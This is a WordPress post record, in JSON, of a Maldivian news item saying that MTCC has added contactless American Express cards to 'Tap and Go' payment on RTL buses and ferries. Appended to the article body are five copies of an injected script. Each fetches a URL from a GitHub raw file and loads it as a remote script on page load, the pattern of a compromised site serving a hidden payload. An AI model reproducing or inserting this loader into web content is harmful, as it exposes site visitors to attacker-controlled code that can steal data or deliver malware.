{"id":9598,"date":"2024-06-03T13:10:59","date_gmt":"2024-06-03T08:10:59","guid":{"rendered":"https:\/\/mbt.mv\/?p=9598"},"modified":"2024-06-03T13:10:59","modified_gmt":"2024-06-03T08:10:59","slug":"mtcc-announce-amex-contactless-card-added-to-tap-and-go","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=9598","title":{"rendered":"MTCC announce AmEx contactless card added to &#8216;Tap and Go&#8217;"},"content":{"rendered":"<p>Maldives Transport and Contracting Company (MTCC) has announced integration of contactless American Express debit and credit cards, as a payment method on RTL services.<\/p>\n<p>According to MTCC, customers can now opt to use their contactless AmEx cards on the &#8216;Tap and Go&#8217; feature provided on Raajje-Transport Link (RTL) buses and ferries operating in the Greater Male&#8217; Area.<\/p>\n<p>MTCC said that it introduced the new feature as part of its ongoing efforts to ensure public transportation is more convenient and accessible to everyone.<\/p>\n<p>The same has been corroborated by the Bank of Maldives (BML) as well.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Maldives Transport and Contracting Company (MTCC) has announced integration of contactless American Express debit and credit cards, as a payment method on RTL services. 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